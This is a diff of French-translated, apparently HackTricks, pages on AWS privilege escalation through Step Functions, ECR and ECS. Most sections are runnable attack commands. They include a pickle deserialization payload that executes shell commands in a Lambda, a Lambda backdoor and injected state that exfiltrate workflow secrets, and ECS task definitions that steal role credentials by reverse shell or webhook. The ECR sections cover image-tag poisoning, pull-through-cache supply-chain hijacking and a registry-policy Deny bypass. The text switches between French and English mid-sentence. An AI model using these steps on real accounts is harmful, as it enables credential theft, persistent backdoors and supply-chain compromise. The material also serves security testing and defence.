|
||||
aws stepfunctions describe-state-machine --region "$REGION" --state-machine-arn "$SM_ARN" --query definition --output text
|
||||
```
|
||||
Si vous avez également `lambda:GetFunction`, vous pouvez télécharger le bundle de code Lambda pour comprendre comment les entrées sont traitées (et confirmer si unsafe deserialization existe) :
|
||||
```bash
|
||||
LAMBDA_ARN="<lambda_arn_from_definition>"
|
||||
CODE_URL="$(aws lambda get-function --region "$REGION" --function-name "$LAMBDA_ARN" --query 'Code.Location' --output text)"
|
||||
curl -sSL "$CODE_URL" -o /tmp/lambda.zip
|
||||
unzip -o /tmp/lambda.zip -d /tmp/lambda_code >/dev/null
|
||||
ls -la /tmp/lambda_code
|
||||
```
|
||||
#### Exemple : pickle conçu dans l'entrée d'exécution (Python)
|
||||
|
||||
Si la Lambda effectue unpickle de données contrôlées par l'attaquant, un pickle malveillant peut exécuter du code lors de la désérialisation. Exemple de payload qui évalue une expression Python dans le runtime Lambda :
|
||||
```bash
|
||||
PAYLOAD_B64="$(python3 - <<'PY'
|
||||
import base64, pickle
|
||||
|
||||
class P:
|
||||
def __reduce__(self):
|
||||
# Replace with a safe proof (e.g. "1+1") or a target-specific read.
|
||||
return (eval, ("__import__('os').popen('id').read()",))
|
||||
|
||||
print(base64.b64encode(pickle.dumps(P())).decode())
|
||||
PY
|
||||
)"
|
||||
|
||||
EXEC_ARN="$(aws stepfunctions start-execution --region "$REGION" --state-machine-arn "$SM_ARN" --input "{\"payload_b64\":\"$PAYLOAD_B64\"}" --query executionArn --output text)"
|
||||
aws stepfunctions describe-execution --region "$REGION" --execution-arn "$EXEC_ARN" --query output --output text
|
||||
```
|
||||
**Impact** : Toutes les permissions dont dispose le rôle de tâche (Secrets Manager reads, S3 writes, KMS decrypt, etc.) peuvent être atteintes via une entrée spécialement conçue, et le résultat peut être renvoyé dans la sortie d'exécution de Step Functions.
|
||||
|
||||
### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
|
||||
|
||||
Un attaquant qui compromet un utilisateur ou un rôle disposant des autorisations suivantes :
|
||||
Un attaquant qui compromet un utilisateur ou un rôle disposant des permissions suivantes :
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -87,11 +129,11 @@ Un attaquant qui compromet un utilisateur ou un rôle disposant des autorisation
|
||||
]
|
||||
}
|
||||
```
|
||||
...peut mener une **high-impact and stealthy post-exploitation attack** en combinant Lambda backdooring avec Step Function logic manipulation.
|
||||
...peut mener une **attaque post-exploitation à fort impact et discrète** en combinant Lambda backdooring avec la manipulation de la logique Step Function.
|
||||
|
||||
Ce scénario suppose que la victime utilise **AWS Step Functions to orchestrate workflows that process sensitive input**, such as credentials, tokens, or PII.
|
||||
Ce scénario suppose que la victime utilise **AWS Step Functions pour orchestrer des workflows qui traitent des entrées sensibles**, telles que credentials, tokens ou PII.
|
||||
|
||||
Exemple d'invocation de la victime :
|
||||
Exemple d'invocation de la victime:
|
||||
```bash
|
||||
aws stepfunctions start-execution \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
|
||||
@@ -101,9 +143,9 @@ Si la Step Function est configurée pour invoquer une Lambda comme `LegitBusines
|
||||
|
||||
---
|
||||
|
||||
#### Mise à jour de la fonction Lambda
|
||||
#### Mise à jour de la lambda function
|
||||
|
||||
L'attaquant modifie le code de la fonction Lambda déjà utilisée par la Step Function (`LegitBusinessLogic`) pour exfiltrer silencieusement les données d'entrée.
|
||||
L'attaquant modifie le code de la lambda function déjà utilisée par la Step Function (`LegitBusinessLogic`) pour exfiltrer silencieusement les données d'entrée.
|
||||
```python
|
||||
# send_to_attacker.py
|
||||
import requests
|
||||
@@ -122,7 +164,7 @@ aws lambda update-function-code \
|
||||
```
|
||||
#### Ajouter un état malveillant au Step Function
|
||||
|
||||
Alternativement, l'attaquant peut injecter un **exfiltration state** au début du flux de travail en mettant à jour la définition du Step Function.
|
||||
Alternativement, l'attaquant peut injecter un **exfiltration state** au début du workflow en mettant à jour la définition du Step Function.
|
||||
```malicious_state_definition.json
|
||||
{
|
||||
"Comment": "Backdoored for Exfiltration",
|
||||
@@ -143,7 +185,7 @@ aws stepfunctions update-state-machine \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
|
||||
--definition file://malicious_state_definition.json --profile attacker
|
||||
```
|
||||
L'attaquant peut être encore plus discret en mettant à jour la définition d'état comme ceci
|
||||
L'attaquant peut être encore plus furtif en mettant à jour la définition d'état comme ceci
|
||||
{
|
||||
"Comment": "Backdoored for Exfiltration",
|
||||
"StartAt": "ExfiltrateSecrets",
|
||||
@@ -166,17 +208,17 @@ où la victime ne remarquera pas la différence
|
||||
|
||||
---
|
||||
|
||||
### Configuration de la victime (Context for Exploit)
|
||||
### Victim Setup (Context for Exploit)
|
||||
|
||||
- A Step Function (`LegitStateMachine`) est utilisée pour traiter des entrées utilisateur sensibles.
|
||||
- Elle appelle une ou plusieurs fonctions Lambda telles que `LegitBusinessLogic`.
|
||||
- A Step Function (`LegitStateMachine`) is used to process sensitive user input.
|
||||
- Il appelle une ou plusieurs fonctions Lambda telles que `LegitBusinessLogic`.
|
||||
|
||||
---
|
||||
|
||||
**Impact potentiel**:
|
||||
- Silent exfiltration de données sensibles, y compris secrets, identifiants, clés d'API et PII.
|
||||
- Aucune erreur visible ou échec dans l'exécution du workflow.
|
||||
- Difficile à détecter sans auditer le code Lambda ou les traces d'exécution.
|
||||
- Exfiltration silencieuse de données sensibles, y compris des secrets, identifiants, clés API et PII.
|
||||
- Aucun erreur ou échec visible dans l'exécution du workflow.
|
||||
- Difficile à détecter sans auditer le code des fonctions Lambda ou les traces d'exécution.
|
||||
- Permet une persistance à long terme si la backdoor reste dans le code ou la logique ASL.
|
||||
|
||||
|
||||
|
||||
@@ -6,21 +6,31 @@
|
||||
|
||||
### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage`
|
||||
|
||||
Un attaquant disposant de **`ecr:GetAuthorizationToken`** et **`ecr:BatchGetImage`** peut se connecter à ECR et télécharger des images.
|
||||
Un attaquant disposant des permissions **`ecr:GetAuthorizationToken`** et **`ecr:BatchGetImage`** peut se connecter à ECR et télécharger des images.
|
||||
|
||||
Pour plus d'infos sur la façon de télécharger des images :
|
||||
For more info on how to download images:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-post-exploitation/aws-ecr-post-exploitation/README.md
|
||||
{{#endref}}
|
||||
|
||||
**Impact potentiel :** privesc indirecte en interceptant des informations sensibles dans le trafic.
|
||||
**Impact potentiel :** privesc indirect en interceptant des informations sensibles dans le trafic.
|
||||
|
||||
### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`
|
||||
|
||||
Un attaquant disposant de toutes ces permissions **peut se connecter à ECR et téléverser des images**. Cela peut être utile pour escalate privileges vers d'autres environnements où ces images sont utilisées.
|
||||
Un attaquant disposant de toutes ces permissions **peut se connecter à ECR et téléverser des images**. Cela peut permettre d'obtenir une élévation de privilèges dans d'autres environnements où ces images sont utilisées.
|
||||
|
||||
Pour apprendre comment téléverser une nouvelle image / mettre à jour une image, consultez :
|
||||
De plus, `ecr:PutImage` peut être utilisé pour **écraser un tag existant** (par exemple `stable` / `prod`) en téléversant un manifeste d'image différent sous ce tag, détournant ainsi les déploiements basés sur les tags.
|
||||
|
||||
Ceci est particulièrement impactant lorsque les consommateurs en aval déploient par tag et **se mettent à jour automatiquement** lors de changements de tag, comme :
|
||||
|
||||
- **Fonctions Lambda utilisant une image conteneur** (`PackageType=Image`) faisant référence à `.../repo:stable`
|
||||
- Services ECS / workloads Kubernetes récupérant `repo:prod` (sans verrouillage par digest)
|
||||
- Tout CI/CD qui redéploie sur des événements ECR
|
||||
|
||||
Dans ces cas, l'écrasement d'un tag peut conduire à **remote code execution** dans l'environnement consommateur et à une escalade de privilèges vers le rôle IAM utilisé par ce workload (par exemple, un rôle d'exécution Lambda avec `secretsmanager:GetSecretValue`).
|
||||
|
||||
Pour apprendre comment téléverser une nouvelle image/mettre à jour une existante, consultez :
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-eks-enum.md
|
||||
@@ -32,14 +42,14 @@ Comme la section précédente, mais pour les dépôts publics.
|
||||
|
||||
### `ecr:SetRepositoryPolicy`
|
||||
|
||||
Un attaquant disposant de cette permission pourrait **modifier** la **politique** du **dépôt** pour s'accorder (ou même accorder à tout le monde) un **accès lecture/écriture**.\
|
||||
Par exemple, dans cet exemple, l'accès en lecture est accordé à tout le monde.
|
||||
Un attaquant disposant de cette permission pourrait **changer** la **politique du repository** pour se donner (ou donner à tout le monde) un **accès lecture/écriture**.\
|
||||
Par exemple, ici l'accès en lecture est accordé à tout le monde.
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name <repo_name> \
|
||||
--policy-text file://my-policy.json
|
||||
```
|
||||
Contenu de `my-policy.json` :
|
||||
Contenu de `my-policy.json`:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
@@ -60,7 +70,7 @@ Contenu de `my-policy.json` :
|
||||
### `ecr-public:SetRepositoryPolicy`
|
||||
|
||||
Comme la section précédente, mais pour les dépôts publics.\
|
||||
Un attaquant peut **modifier la politique du dépôt** d'un dépôt ECR Public pour accorder un accès public non autorisé ou pour escalader ses privilèges.
|
||||
Un attaquant peut **modifier la politique du dépôt** d'un ECR Public pour accorder un accès public non autorisé ou pour élever ses privilèges.
|
||||
```bash
|
||||
# Create a JSON file with the malicious public repository policy
|
||||
echo '{
|
||||
@@ -87,11 +97,11 @@ echo '{
|
||||
# Apply the malicious public repository policy to the ECR Public repository
|
||||
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
|
||||
```
|
||||
**Impact potentiel** : Accès public non autorisé au dépôt ECR Public, permettant à n'importe quel utilisateur de push, pull ou delete images.
|
||||
**Impact potentiel**: Accès public non autorisé au dépôt ECR Public, permettant à n'importe quel utilisateur de push, pull ou supprimer des images.
|
||||
|
||||
### `ecr:PutRegistryPolicy`
|
||||
|
||||
Un attaquant disposant de cette permission pourrait **modifier** la **registry policy** pour s'octroyer, à lui-même, à son compte (ou même à tout le monde) **read/write access**.
|
||||
Un attaquant disposant de cette permission pourrait **modifier** la **stratégie du registre** pour s'accorder à lui-même, à son compte (ou même à tout le monde) **un accès en lecture/écriture**.
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name <repo_name> \
|
||||
@@ -99,20 +109,20 @@ aws ecr set-repository-policy \
|
||||
```
|
||||
### ecr:CreatePullThroughCacheRule
|
||||
|
||||
Abuser des règles ECR Pull Through Cache (PTC) pour mapper un namespace upstream attacker-controlled sur un préfixe privé ECR de confiance. Cela permet aux workloads qui pullent depuis le private ECR de recevoir de manière transparente des attacker images sans aucun push vers le private ECR.
|
||||
Abusez des règles ECR Pull Through Cache (PTC) pour mapper un namespace upstream contrôlé par un attaquant vers un préfixe ECR privé de confiance. Cela permet aux workloads qui tirent depuis le ECR privé de recevoir de manière transparente des images de l'attaquant sans aucun push vers le ECR privé.
|
||||
|
||||
- Permissions requises : ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. Si vous utilisez ECR Public comme upstream : ecr-public:* pour créer/pusher vers le repo public.
|
||||
- Tested upstream: public.ecr.aws
|
||||
- Permissions requises : ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. Si vous utilisez un upstream ECR Public : ecr-public:* pour créer/pousser dans le repo public.
|
||||
- Upstream testé : public.ecr.aws
|
||||
|
||||
Étapes (exemple):
|
||||
Steps (example):
|
||||
|
||||
1. Préparer l'image attacker dans ECR Public
|
||||
1. Prepare attacker image in ECR Public
|
||||
# Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1
|
||||
docker login public.ecr.aws/<public_alias>
|
||||
docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test .
|
||||
docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test
|
||||
|
||||
2. Créer la règle PTC dans le private ECR pour mapper un préfixe de confiance vers le registre public
|
||||
2. Create the PTC rule in private ECR to map a trusted prefix to the public registry
|
||||
aws ecr create-pull-through-cache-rule --region us-east-2 --ecr-repository-prefix ptc --upstream-registry-url public.ecr.aws
|
||||
|
||||
3. Pull the attacker image via the private ECR path (no push to private ECR was done)
|
||||
@@ -120,19 +130,19 @@ docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com
|
||||
docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
|
||||
docker run --rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
|
||||
|
||||
Impact potentiel : compromission de la chaîne d'approvisionnement en détournant les noms d'images internes sous le préfixe choisi. Tout workload pullant des images depuis le private ECR utilisant ce préfixe recevra du attacker-controlled content.
|
||||
Potential Impact: compromission de la chaîne d'approvisionnement en détournant des noms d'images internes sous le préfixe choisi. Tout workload tirant des images depuis le ECR privé utilisant ce préfixe recevra du contenu contrôlé par l'attaquant.
|
||||
|
||||
### `ecr:PutImageTagMutability`
|
||||
|
||||
Abuser de cette permission pour basculer un repository dont les tags sont immutables vers mutable et écraser des tags de confiance (par ex. latest, stable, prod) avec attacker-controlled content.
|
||||
Abusez de cette permission pour basculer un repository avec immutabilité des tags vers mutable et écraser des tags de confiance (e.g., latest, stable, prod) avec du contenu contrôlé par l'attaquant.
|
||||
|
||||
- Permissions requises : `ecr:PutImageTagMutability` plus les capacités de push (`ecr:GetAuthorizationToken`, `ecr:InitiateLayerUpload`, `ecr:UploadLayerPart`, `ecr:CompleteLayerUpload`, `ecr:PutImage`).
|
||||
- Impact : compromission de la chaîne d'approvisionnement en remplaçant silencieusement des tags immuables sans changer les noms des tags.
|
||||
- Impact : compromission de la chaîne d'approvisionnement en remplaçant silencieusement des tags immuables sans changer les noms de tags.
|
||||
|
||||
Étapes (exemple):
|
||||
Steps (example):
|
||||
|
||||
<details>
|
||||
<summary>Empoisonner un tag immuable en basculant la mutabilité</summary>
|
||||
<summary>Empoisonner un tag immuable en basculant sa mutabilité</summary>
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
REPO=ht-immutable-demo-$RANDOM
|
||||
@@ -152,14 +162,14 @@ docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod
|
||||
</details>
|
||||
|
||||
|
||||
#### Détournement global du registre via une règle ROOT Pull-Through Cache
|
||||
#### Détournement global du registre via la règle ROOT Pull-Through Cache
|
||||
|
||||
Créez une règle Pull-Through Cache (PTC) en utilisant le paramètre spécial `ecrRepositoryPrefix=ROOT` pour mapper la racine du registre ECR privé vers un registre public upstream (par ex., ECR Public). Tout pull vers un repository inexistant dans le registre privé sera servi de façon transparente depuis l'upstream, permettant un supply-chain hijacking sans pousser d'images vers l'ECR privé.
|
||||
Créez une règle Pull-Through Cache (PTC) en utilisant le paramètre spécial `ecrRepositoryPrefix=ROOT` pour mapper la racine du registre ECR privé vers un registre public en amont (par ex., ECR Public). Tout pull vers un dépôt inexistant dans le registre privé sera servi de façon transparente depuis l'amont, permettant le supply-chain hijacking sans pousser vers le ECR privé.
|
||||
|
||||
- Permissions requises : `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`, `ecr:GetAuthorizationToken`.
|
||||
- Impact : Les pulls vers `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>` réussissent et créent automatiquement des repos privés provenant de l'upstream.
|
||||
- Impact : Les pulls vers `<account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag>` réussissent et créent automatiquement des dépôts privés alimentés depuis l'amont.
|
||||
|
||||
> Note : Pour les règles `ROOT`, omettez `--upstream-repository-prefix`. Le fournir provoquera une erreur de validation.
|
||||
> Remarque : Pour les règles `ROOT`, omettez `--upstream-repository-prefix`. Le fournir provoquera une erreur de validation.
|
||||
|
||||
<details>
|
||||
<summary>Démo (us-east-1, upstream public.ecr.aws)</summary>
|
||||
@@ -191,14 +201,14 @@ aws ecr delete-repository --region "$REGION" --repository-name docker/library/al
|
||||
```
|
||||
</details>
|
||||
|
||||
### `ecr:PutAccountSetting` (Rétrograder `REGISTRY_POLICY_SCOPE` to bypass registry policy denies)
|
||||
### `ecr:PutAccountSetting` (Rétrograder `REGISTRY_POLICY_SCOPE` to bypass registry policy Deny)
|
||||
|
||||
Exploiter `ecr:PutAccountSetting` pour changer la portée de la registry policy de `V2` (policy applied to all ECR actions) à `V1` (policy applied only to `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`). Si une registry policy restrictive Deny bloque des actions comme `CreatePullThroughCacheRule`, la rétrogradation vers `V1` supprime cette application de sorte que les identity‑policy Allows prennent effet.
|
||||
Abusez de `ecr:PutAccountSetting` pour changer la portée de la registry policy de `V2` (policy appliquée à toutes les actions ECR) vers `V1` (policy appliquée seulement à `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`). Si une registry policy restrictive effectue un Deny bloquant des actions comme `CreatePullThroughCacheRule`, la rétrogradation vers `V1` supprime cette enforcement de sorte que les identity‑policy Allows prennent effet.
|
||||
|
||||
- Permissions requises : `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`.
|
||||
- Impact : Possibilité d'effectuer des actions ECR auparavant bloquées par une registry policy Deny (par ex., créer des règles PTC) en définissant temporairement la portée sur `V1`.
|
||||
- Permissions requises: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`.
|
||||
- Impact: Capacité à effectuer des actions ECR précédemment bloquées par un Deny de la registry policy (p.ex., créer des règles PTC) en définissant temporairement la portée sur `V1`.
|
||||
|
||||
Étapes (exemple) :
|
||||
Étapes (exemple):
|
||||
|
||||
<details>
|
||||
<summary>Bypass registry policy Deny on CreatePullThroughCacheRule by switching to V1</summary>
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## ECS
|
||||
|
||||
Plus d'informations sur ECS dans :
|
||||
Plus d'**info sur ECS** dans:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecs-enum.md
|
||||
@@ -12,7 +12,7 @@ Plus d'informations sur ECS dans :
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
|
||||
|
||||
Un attaquant abusant de la permission `iam:PassRole`, `ecs:RegisterTaskDefinition` et `ecs:RunTask` dans ECS peut **générer une nouvelle définition de tâche** avec un **conteneur malveillant** qui vole les identifiants des métadonnées et **l'exécuter**.
|
||||
Un attaquant abusant des permissions `iam:PassRole`, `ecs:RegisterTaskDefinition` et `ecs:RunTask` sur ECS peut **générer une nouvelle task definition** avec un **container malveillant** qui vole les identifiants metadata et **l'exécuter**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Reverse Shell" }}
|
||||
@@ -39,7 +39,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
{{#tab name="Webhook" }}
|
||||
|
||||
Créez un webhook avec un site comme webhook.site
|
||||
Créer un webhook sur un site comme webhook.site
|
||||
```bash
|
||||
|
||||
# Create file container-definition.json
|
||||
@@ -75,17 +75,17 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
{{#endtabs }}
|
||||
|
||||
**Impact potentiel :** Direct privesc to a different ECS role.
|
||||
**Impact potentiel :** privesc direct vers un autre ECS role.
|
||||
|
||||
### `iam:PassRole`,`ecs:RunTask`
|
||||
Un attaquant disposant des permissions `iam:PassRole` et `ecs:RunTask` peut démarrer une nouvelle ECS task avec des valeurs modifiées pour le **execution role**, le **task role** et le **command** du container. La commande CLI `ecs run-task` contient le flag `--overrides` qui permet de changer à l'exécution `executionRoleArn`, `taskRoleArn` et le **command** du container sans modifier la task definition.
|
||||
Un attaquant disposant des permissions `iam:PassRole` et `ecs:RunTask` peut démarrer une nouvelle ECS task avec des valeurs modifiées pour **execution role**, **task role** et le **command** du conteneur. La commande CLI `ecs run-task` contient le flag `--overrides` qui permet de modifier à l'exécution `executionRoleArn`, `taskRoleArn` et le **command** du conteneur sans toucher à la task definition.
|
||||
|
||||
Les IAM roles spécifiés dans `taskRoleArn` et `executionRoleArn` doivent explicitement autoriser `ecs-tasks.amazonaws.com` à les assumer dans leur trust policy.
|
||||
Les IAM roles spécifiés pour `taskRoleArn` et `executionRoleArn` doivent permettre d'être assumés par `ecs-tasks.amazonaws.com` dans leur trust policy.
|
||||
|
||||
De plus, l'attaquant doit connaître :
|
||||
- ECS cluster name
|
||||
- VPC Subnet
|
||||
- Security group (si aucun security group n'est spécifié, celui par défaut sera utilisé)
|
||||
- Security group (Si aucun security group n'est spécifié, le security group par défaut sera utilisé)
|
||||
- Task Definition Name and revision
|
||||
- Name of the Container
|
||||
```bash
|
||||
@@ -105,9 +105,9 @@ aws ecs run-task \
|
||||
]
|
||||
}'
|
||||
```
|
||||
Dans l'extrait de code ci‑dessus, un attaquant remplace seulement la valeur de `taskRoleArn`. Cependant, l'attaquant doit disposer de l'autorisation `iam:PassRole` sur le `taskRoleArn` spécifié dans la commande et sur le `executionRoleArn` spécifié dans la définition de tâche pour que l'attaque puisse avoir lieu.
|
||||
Dans l'extrait de code ci‑dessus, un attacker ne remplace que la valeur de `taskRoleArn`. Cependant, l'attacker doit disposer de l'autorisation `iam:PassRole` sur le `taskRoleArn` spécifié dans la commande et sur le `executionRoleArn` spécifié dans la task definition pour que l'attaque puisse avoir lieu.
|
||||
|
||||
Si le rôle IAM que l'attaquant peut passer possède suffisamment de privilèges pour récupérer l'image ECR et démarrer la tâche ECS (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`), alors l'attaquant peut spécifier le même rôle IAM pour `executionRoleArn` et `taskRoleArn` dans la commande `ecs run-task`.
|
||||
Si l'IAM role que l'attacker peut passer dispose de privilèges suffisants pour récupérer l'image ECR et démarrer la ECS task (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`) alors l'attacker peut spécifier le même IAM role pour `executionRoleArn` et `taskRoleArn` dans la commande `ecs run-task`.
|
||||
```sh
|
||||
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
|
||||
{
|
||||
@@ -121,12 +121,12 @@ aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-config
|
||||
]
|
||||
}'
|
||||
```
|
||||
**Impact potentiel :** Privesc direct sur n'importe quel rôle de tâche ECS.
|
||||
**Impact potentiel :** Accès direct (privesc) à n'importe quel task role ECS.
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
|
||||
|
||||
Comme dans l'exemple précédent, un attaquant abusant des permissions **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** dans ECS peut **générer une nouvelle définition de tâche** avec un **conteneur malveillant** qui vole les identifiants des métadonnées et **l'exécuter**.\
|
||||
Cependant, dans ce cas, une instance de conteneur doit être disponible pour exécuter la définition de tâche malveillante.
|
||||
Comme dans l'exemple précédent, un attaquant abusant des permissions **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** dans ECS peut **générer une nouvelle task definition** avec un **conteneur malveillant** qui vole les identifiants des métadonnées et **l'exécuter**.\
|
||||
Cependant, dans ce cas, une container instance pour exécuter la task definition malveillante doit être disponible.
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -142,11 +142,12 @@ aws ecs start-task --task-definition iam_exfiltration \
|
||||
## You need to remove all the versions (:1 is enough if you just created one)
|
||||
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
```
|
||||
**Impact potentiel :** privesc direct sur n'importe quel rôle ECS.
|
||||
**Impact potentiel :** Direct privesc to any ECS role.
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
Comme dans l'exemple précédent, un attaquant abusant des **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ou **`ecs:CreateService`** permissions dans ECS peut **générer une nouvelle définition de tâche** avec un **conteneur malveillant** qui vole les identifiants de métadonnées et **l'exécuter en créant un nouveau service avec au moins 1 tâche en cours d'exécution.**
|
||||
|
||||
Tout comme dans l'exemple précédent, un attaquant abusant des autorisations **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ou **`ecs:CreateService`** sur ECS peut **générer une nouvelle task definition** avec un **malicious container** qui vole les metadata credentials et **l'exécuter en créant un nouveau service avec au moins 1 task en cours d'exécution.**
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -169,11 +170,11 @@ aws ecs update-service --cluster <CLUSTER NAME> \
|
||||
--service <SERVICE NAME> \
|
||||
--task-definition <NEW TASK DEFINITION NAME>
|
||||
```
|
||||
**Impact potentiel:** Privesc direct sur n'importe quel rôle ECS.
|
||||
**Impact potentiel :** Privesc direct vers n'importe quel rôle ECS.
|
||||
|
||||
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`)
|
||||
|
||||
En fait, uniquement avec ces permissions, il est possible d'utiliser les overrides pour exécuter des commandes arbitraires dans un conteneur en utilisant un rôle arbitraire, par exemple :
|
||||
En fait, avec seulement ces permissions, il est possible d'utiliser des overrides pour exécuter des commandes arbitraires dans un conteneur avec un rôle arbitraire avec quelque chose comme :
|
||||
```bash
|
||||
aws ecs run-task \
|
||||
--task-definition "<task-name>" \
|
||||
@@ -181,16 +182,16 @@ aws ecs run-task \
|
||||
--cluster <cluster-name> \
|
||||
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
|
||||
```
|
||||
**Impact potentiel :** privesc direct vers n'importe quel rôle ECS.
|
||||
**Potential Impact:** Privesc direct vers n'importe quel rôle ECS.
|
||||
|
||||
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
Ce scénario est similaire aux précédents mais **sans** la permission **`iam:PassRole`**.\
|
||||
Cette situation reste intéressante car si vous pouvez exécuter un conteneur arbitraire, même s'il est sans rôle, vous pourriez **exécuter un conteneur privilégié pour vous échapper** vers le nœud et **voler le rôle IAM EC2** ainsi que les **autres rôles des conteneurs ECS** s'exécutant sur le nœud.\
|
||||
Ceci reste intéressant car si vous pouvez exécuter un container arbitraire, même sans rôle, vous pourriez **exécuter un container privilégié pour vous échapper** vers le node et **voler le rôle IAM EC2** et **les rôles des autres containers ECS** s'exécutant sur le node.\
|
||||
Vous pourriez même **forcer d'autres tâches à s'exécuter à l'intérieur de l'instance EC2** que vous compromettez pour voler leurs identifiants (comme discuté dans la [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node)).
|
||||
|
||||
> [!WARNING]
|
||||
> Cette attaque n'est possible que si le **cluster ECS utilise des instances EC2** et non Fargate.
|
||||
> Cette attaque n'est possible que si le **ECS cluster utilise des instances EC2** et pas Fargate.
|
||||
```bash
|
||||
printf '[
|
||||
{
|
||||
@@ -233,8 +234,8 @@ aws ecs run-task --task-definition iam_exfiltration \
|
||||
```
|
||||
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
Un attaquant disposant des **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** peut **exécuter des commandes** à l'intérieur d'un conteneur en cours d'exécution et exfiltrer le rôle IAM qui y est attaché (il faut les permissions describe car elles sont nécessaires pour exécuter `aws ecs execute-command`).\
|
||||
Cependant, pour faire cela, l'instance de conteneur doit exécuter l'**ExecuteCommand agent** (ce qui, par défaut, n'est pas le cas).
|
||||
Un attaquant disposant des **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** peut **exécuter des commandes** à l'intérieur d'un conteneur en cours d'exécution et exfiltrer le rôle IAM qui y est attaché (vous avez besoin des permissions describe car elles sont nécessaires pour exécuter `aws ecs execute-command`).\
|
||||
Cependant, pour cela, l'instance de conteneur doit exécuter l'**ExecuteCommand agent** (ce qui n'est pas le cas par défaut).
|
||||
|
||||
Par conséquent, l'attaquant pourrait essayer de :
|
||||
|
||||
@@ -256,18 +257,34 @@ aws ecs execute-command --interactive \
|
||||
--cluster "$CLUSTER_ARN" \
|
||||
--task "$TASK_ARN"
|
||||
```
|
||||
- S'il a **`ecs:RunTask`**, exécuter une tâche avec `aws ecs run-task --enable-execute-command [...]`
|
||||
